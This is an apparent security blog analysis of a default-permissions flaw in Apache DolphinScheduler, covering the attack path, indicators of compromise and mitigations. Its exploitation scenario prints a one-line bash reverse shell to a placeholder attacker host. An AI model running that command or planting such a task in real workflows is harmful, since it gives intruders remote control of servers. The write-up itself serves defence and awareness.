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Decoding Apache DolphinScheduler Default Permissions Vulnerability By CyberDudeBivash – Vulnerability Analyst Powered by: CyberDudeBivash

 


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Introduction: When Orchestration Becomes an Attack Surface

Apache DolphinScheduler, a popular open-source distributed task scheduling and workflow orchestration platform, has been widely adopted in big data, AI, and enterprise automation environments.

In 2025, researchers uncovered a critical vulnerability tied to default permission misconfigurations, enabling attackers to escalate privileges, hijack workflows, and potentially execute arbitrary code on servers.

This vulnerability highlights the recurring danger of “secure defaults” being ignored in open-source platforms.

Section 1: Vulnerability Overview

  • Vulnerability Type: Insecure Default Permissions / Access Control Misconfiguration

  • Severity: CVSS 8.7 (High)

  • Affected Versions: Apache DolphinScheduler ≤ 3.x (before patched build)

  • Root Cause: Default user roles shipped with over-privileged rights, allowing even “guest” or non-admin users to manipulate system tasks.

Section 2: Attack Vectors

  • Privilege Escalation: Guest accounts can escalate to admin privileges.

  • Task Hijacking: Attackers can edit and inject malicious payloads into workflows.

  • RCE Potential: Through workflow abuse, attackers can execute shell commands.

  • Persistence: Malicious cron-like jobs scheduled for long-term control.

Section 3: Exploitation Scenario

  1. Attacker signs in using a default or low-privilege user.

  2. Explores misconfigured role permissions (project management, task editing).

  3. Inserts a malicious task, e.g.:

    bash -i >& /dev/tcp/attacker_ip/4444 0>&1

  4. Gains reverse shell access.

  5. Moves laterally across connected big data clusters (Hadoop, Spark, Flink).

Section 4: Potential Impact

  • Data Manipulation: Alter scheduled ETL jobs → corrupt datasets.

  • Infrastructure Takeover: Execute arbitrary commands on orchestrated hosts.

  • Ransomware Pivot: Schedule encryption jobs across clusters.

  • Supply Chain Risk: Propagate backdoors via workflow templates.

Section 5: Indicators of Compromise (IOCs)

  • Modified Workflow Files: Suspicious job scripts with shell payloads.

  • Anomalous Scheduled Tasks: Jobs scheduled outside business hours.

  • Audit Log Entries: Unknown users editing admin-level jobs.

  • Network Traffic: Outbound connections to unknown IPs from scheduler nodes.

Section 6: MITRE ATT&CK Mapping

  • T1078 – Valid Accounts

  • T1059 – Command Execution

  • T1098 – Account Manipulation

  • T1053 – Scheduled Task/Job Abuse

  • T1562 – Disable Security Tools

Section 7: Detection & Mitigation

Patch Immediately – Upgrade to the fixed Apache DolphinScheduler version.
Audit User Roles – Remove default “guest”/“demo” accounts.
Implement RBAC – Least privilege principle across teams.
Network Segmentation – Restrict scheduler servers to trusted zones.
Monitor Logs – Detect unauthorized workflow/task changes.

Section 8: CyberDudeBivash Vulnerability Defense Framework (CDB-VDF)

  1. Harden Defaults – Disable all default roles at deployment.

  2. Audit Regularly – Check workflows for hidden tasks/payloads.

  3. Automate Monitoring – SIEM alerts for task anomalies.

  4. Segregate Duties – Developers ≠ Admins (limit production access).

  5. Train Teams – Awareness of supply-chain injection risks.

Section 9: Future Outlook

  • Growing attacks on workflow orchestrators (Airflow, DolphinScheduler, Luigi).

  • Expansion of supply-chain poisoning via misconfigured automation tools.

  • Push for secure-by-default configurations in open-source governance.

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Conclusion

The Apache DolphinScheduler default permissions flaw shows how insecure defaults can expose enterprises to workflow hijacking and RCE exploits.

At CyberDudeBivash, we analyze vulnerabilities and provide enterprise-grade remediation strategies to safeguard data pipelines, automation, and big data ecosystems.

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